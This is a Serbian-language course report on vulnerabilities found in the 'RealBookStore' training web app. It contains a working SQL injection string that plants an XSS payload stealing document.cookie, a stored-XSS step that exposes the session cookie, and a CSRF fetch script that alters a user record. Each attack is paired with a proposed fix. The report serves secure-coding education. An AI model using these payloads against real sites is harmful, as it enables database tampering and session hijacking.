|  |
| --- |
| Stručni kurs Razvoj bezbednog softvera |
| Izveštaj |
| Pronađene ranjivosti u projektu “RealBookStore” |

|  |
| --- |
| Pavle Dušanić  4-22-2024 |

# Istorija izmena

|  |  |  |  |
| --- | --- | --- | --- |
| Verzija | Datum | Izmenio/la | Komentar |
| 1.0 | 28.2.2024. | Uroš Dragojević | Kreiran izveštaj |
| 1.1 | 22.4.2024 | Pavle Dušanić | Dodat kod za napade |
|  |  |  |  |
|  |  |  |  |
|  |  |  |  |
|  |  |  |  |
|  |  |  |  |

Sadržaj

[Istorija izmena 1](#_Toc166343492)

[Uvod 3](#_Toc166343493)

[O veb aplikaciji 3](#_Toc166343494)

[SQL injection 3](#_Toc166343495)

[Napad: Ubacivanje novog usera u tabelu “persons” (SQL injection) 3](#_Toc166343496)

[Metod napada: 3](#_Toc166343497)

[Predlog odbrane: 3](#_Toc166343498)

[Cross-site scripting 4](#_Toc166343499)

[Napad: Dobijanje JSESSION id cookie-ja: 4](#_Toc166343500)

[Metod napada: 4](#_Toc166343501)

[Predlog odbrane: 4](#_Toc166343502)

[Cross-site request forgery 5](#_Toc166343503)

[Napad: Skripta koja menja licne podatke korisnika sa poljem id=1 5](#_Toc166343504)

[Metod napada: 5](#_Toc166343505)

[Odbrana: 5](#_Toc166343506)

# Uvod

Ovaj izveštaj se bavi ranjivostima pronađenim u dole opisanoj veb aplikaciji.

## O veb aplikaciji

RealBookStore je veb aplikacija koja pruža mogućnosti pretrage, ocenjivanja i komentarisanja knjiga.

Aplikacija RealBookStore omogućava sledeće:

* Pregled i pretragu knjiga.
* Dodavanje nove knjige.
* Detaljan pregleda knjige kao i komentarisanje i ocenjivanje knjige.
* Pregled korisnika aplikacije.
* Detaljan pregled podataka korisnika.

# SQL injection

## Napad: Ubacivanje novog usera u tabelu “persons” (SQL injection)

### Metod napada:

Na stranici Books/id aplikacije, uneti sledeći kod u input polje “Comment”:

'); insert into persons(firstName, lastName, email)

values ('lmaooo', 'xddd', '<img src="x" onerror="alert(document.cookie)"/>') –

Nakon dodavanja komentara, imacemo novog korisnika unutar baze podataka koji ce na polju za email adresu imati malicioznu skriptu koja ce se izvrsiti pri pretrazi korisnika na sajtu.

## Predlog odbrane:

Zameniti utext u html-u za komentare na stranici “persons” sa text, kao i koriscenje PreparedStatement klase umesto postojecih Statement klasa.

A screenshot of a computer

Description automatically generatedA screenshot of a computer

Description automatically generated

# Cross-site scripting

## Napad: Dobijanje JSESSION id cookie-ja:

### Metod napada:

Na stranici Persons aplikacije, uneti ime korisnika kojeg smo prethodno ubacili sql injection-om u input polje “Search”. Time cemo izvrsiti skriptu koja se nalazi u email-u korisnika koje pretrazujemo. U dev tools-u browser-a mozemo da vidimo cookie sa trenutnim JSESSION id-jem korisnika.

## Predlog odbrane:

U javaskript kodu, zameniti sve instance innerHTML-a sa textContent.

# Cross-site request forgery

## Napad: Skripta koja menja licne podatke korisnika sa poljem id=1

### Metod napada:

Unutar foldera csrf-exploit, u fajlu index.html, unosimo sledeci kod u “exploit()” funkciju:

const formData= new FormData();

formData.append('id',1);

formData.append('firstName','Batman');

formData.append('lastName','Dark Knight');

//formData.append('email','neki@email.com');

fetch('http://localhost:8080/update-person',{method:'POST', body:formData, credentials:'include'});

Kada korisnik ode na nasu stranicu, koju pokrecemo sa ‘npm start’ unutar istog foldera, I klikne pehar, izvrsice se maliciozna skripta koja ce u bazu podataka uneti novog korisnika sa gore navedenim podacima.A screenshot of a computer

Description automatically generated

### Odbrana:

Pre svega popraviti sve xss slabosti a zatim implementirati csrf token kao metod autentifikacije, kao I proveru tog tokena na endpoint-u /update-person.